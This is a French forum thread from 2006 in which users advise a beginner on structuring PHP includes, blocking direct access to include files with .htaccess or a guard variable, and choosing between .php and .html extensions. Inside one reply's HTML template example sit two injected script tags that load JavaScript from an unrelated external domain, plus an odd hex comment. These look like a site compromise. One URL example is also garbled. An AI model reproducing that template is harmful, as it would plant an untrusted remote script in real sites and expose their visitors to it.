Nanaski a écrit
C'est la première fois que je vois quelqu'un faire ça, mettre un include d'un header d'un index. Ca doit donc être que c'est mauvais, ou alors je suis un génie en avance sur son temps? J'sais pas. En tout cas le site marche. Donc mes includes, bien ou pas bien?
Comme je le disais sur la tribune : techniquement rien à redire, mais en terme d'organisation il faut que tu sois sûr de ne pas te mélanger les pinceaux entre tes fichiers. Et être sûr que le tout donne un résultat potable.
Mais ce n'est qu'un bête avis personnel, je ne suis pas une référence dans le domaine.
Nanaski a écrit
Comment masquer au public par exemple motd.php, header.php, articles.php (en plus cette page est bien laide quand on la mate toute seule), qui sont dans le même dossier sys/ que par exemple contact.php ou faq.php qui elles sont des pages où l'utilisateur doit pouvoir aller?
Placer les fichiers dans un répertoire qui soit protégé par un fichier .htaccess (fichier de configuration local pour le serveur web Apache) qui interdise les consultations de ce répertoire.
Aide sur le sujet : Tutoriel .htaccess (documentation officielle en anglais).
Nanaski a écrit
Dans le dossier read/, j'écris mes articles avec le notepad en .txt en langage html uniquement et je les renomme en .php, ce qui ne sert à rien pour le moment, je pourrais les laisser en .txt vu que ce n'est que matière à utiliser des includes. Sauf que moi je veux aussi que ces fichiers soient indépendants pour que je puisse en donner le lien direct (symbole < sur la page d'accueil). Seulement, quand on les voit comme ça, 000001.php, il n'y a pas de style appliqué. Normal puisque je ne fais pas référence à ma css dans ces fichiers. Existe-t-il un moyen d'appliquer un style aux fichiers d'un répertoire sans en faire référence dans ces dits-fichiers?
La question est un peu tarabiscotée à comprendre (je crois avoir compris) mais il n'y a pas de solution pour ce genre de chose : si le contenu est brut sans style et que quelqu'un veut le consulter directement, il sera fatalement brut et sans style.
Mais il y a des gens plus chevronnés dans le coin qui pourront peut-être te trouver une solution (qui pourrait m'intéresser cela dit).
19 septembre 2006 à 13:36
L'idéal, je pense, c'est de t'organiser une arborescence, avec entre autres comme répertoires :
- classes
- includes
- templates
- css
les fichiers php lisibles par l'utilisateur se trouve alors dans la racine.
les fichiers dans les répertoires classes, templates, et includes ne seront pas lus directement.
Il est souhaitable de séparer ton code HTML de ton PHP. Ainsi, ton répertoire "templates" contiendra le code HTML auquel tu pourras ajouter l'affichage de tes variables (exemple : <html><head><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><!--f0d54d364970ae13--><title><?php echo $titre_page; ?></title>...). De cette manière, tu ne crées qu'un header, qu'un footer...
Dans la racine, tu ne laisses que les fichiers php devant être exécutable directement. Prenons l'exemple de ton index.php :
<?php
include("includes/common.php"); //common aura pour rôle de décharger les fichiers appellés ci-dessous des fonctions de bases comme la création de la connexion à la base de données...
include("includes/motd.php"); //ces fichiers ne doivent rien afficher, ils doivent permettre aux templates de fournir les variables dont ils ont besoin.
include("includes/links.php");
include("includes/articles.php");
include("templates/header.tpl");
include("templates/index.tpl"); //ce template pourra à son tour inclure d'autres templates (motd,links,articles)
include("templates/footer.tpl");
?>
1/ un include dans un include n'est pas problématique mais attention à ne pas te retrouver à appeller plusieurs fois un même fichier.
2/ si tu utilises une arborescence, tu peux éviter ce genre de problème. Il te suffit alors avec .htaccess d'empêcher l'accès à la racine des répertoires que tu souhaites.
3/ avec .htaccess, tu peux faire qu'à l'appel d'une URL comme celle-ci : [url]http://www.nanaski.com/read/000001.php:/b9b4: , le serveur exécute à la place :b9b4:url : http://www.nanaski.com/read.php?art=000001.php[/url]
Si t'as des questions, n'hésites pas ;)
Dernière modification le 19/09/06 à 14:22 par CaptNCook
19 septembre 2006 à 14:21
Tu peux interdire l'acces a tes pages en include.
Par exemple si ta page principale est index.php et que tu include apres les articles / news / commentaires etc.
En haut de ta page index.php, tu declares un truc du genre <?php $HACK = true ; ?>. Tu mets se bout de code dans toutes les pages principales qui en inclueront d'autre.
Et par la suite dans toutes les pages qui sont destinées a etre appellée en include dans d'autre page tu rajoute tout en haut :
<?php if(!isset($HACK)){echo "Hacking Attempt !"; Exit() ; }?>
Ca bloquera l'execution de la page. et au passage tu peux logger l'ip l'heure et plein de trucs.
//edit
Et j'ai été doublé par captainCook :D
Dernière modification le 19/09/06 à 14:28 par Ultr4
19 septembre 2006 à 14:26
Alors merci pour vos réponses. Je ne peux faire mon site que le week-end donc...
Pour l'instant j'ai juste testé le .htaccess et .htpasswd, mais en fait ça ne sera pas bon.
Parce que ce que je voulais protéger, ce sont des fichiers qui sont en include (et je voulais les protéger juste parce que ça faisait moche de les voir, y'aura rien de privé sur le site). Du coup, j'avais posés les deux .ht dans le répertoire sys/ qui contient par exemple header.php et motd.php, deux includes que demande la page d'accueil. Donc si on tappait juste nanaski.com et bien il fallait un login et mot de passe pour pouvoir includer les deux machins. Pas bon.
Sauf que le truc paranormal, c'est qu'en faisant annuler lors de la demande de mot de passe (ouais en fait je voulais même pas de mot de passe, je voulais rendre le machin privé pis c'est tout), quand je fais annuler, et bien toute la page apparait, includes compris (wtf), tout sauf la css.
En fait je crois que je vais abandonner les includes et faire un site plus simplet, genre un index avec juste des liens qui dirigent vers des pages qui ont chacune le même header, le même lien vers la css, le tout totalement indépendant quoi. Comme thebestpageintheuniverse, en fait. :/
(bon c'est pas comme ça que c'est fait dans thebestpageintheuniverse sauf que niveau présentation ce sera plus ça, pour vous faire une idée)
22 septembre 2006 à 13:48
J'ai simplifié le machin, restera plus grand chose au rythme où j'épure la chose.
Dans nanaski.com/read/ et /imgs/ j'ai mis des index avec des redirections, je pense que c'est pas mal pour laisser les choses accessibles (à l'inverse du .htaccess) tout en cachant la machinerie interne à l'internaute curieux.
Par contre un coup d'aspirateur de sites et le tour est joué, d'ailleurs ça doit bien niquer les bandes passantes ces choses là, on peut les contrer?
Curiosité: quel est l'intérêt de mettre ses pages en .html quand on peut les mettre en .php? (au cas où l'envie nous vient d'y rajouter du code php)
Dernière modification le 22/09/06 à 23:33 par Nanaski
22 septembre 2006 à 23:27
Nanaski a écrit
Curiosité: quel est l'intérêt de mettre ses pages en .html quand on peut les mettre en .php? (au cas où l'envie nous vient d'y rajouter du code php)
Si je ne me trompe pas, le web est loin d'être mon domaine de prédilection, quand un client veut accéder à un fichier .php, le serveur web passe la main à l'interpréteur php qui va parser le fichier à la recherche de balises php, les interpréter (dingue non ?) et renvoyer le tout en html au serveur web qui fera suivre au client. Donc si tu nommes un fichier .php alors qu'il ne contient pas de code php tu fais une opération en plus qui est inutile et te fait perdre du temps (qui doit très certainement être négligeable dans 99.99% des cas).
Enfin je dis ça mais il existe peut-être un mécanisme sur certains serveurs web pour contrôler le contenu des fichiers et pas que leur extension pour choisir qu'en faire mais j'en sais rien.
22 septembre 2006 à 23:44
Tu peux definir quels types dextensions sont gérés par php. Ca se fait dans les .conf de apache. Par contre pour un hebergemnt chez ovh etc, c'est mort je pense. Mais la solution que je te donnais au dessus convient a ce que tu cherachais, a savoir empecher l'exectuion d'une page php destinée a l'include seule.
Et ensuite php gere quand meme les page .html . D'ailleur une protection simple a mettre en place est de renomer tous ces scripts php en .cgi ou .htm pour tromper les intruders.
23 septembre 2006 à 01:17
Répondre au sujet
Vous devez être identifié pour participer à ce topic.
sosie officiel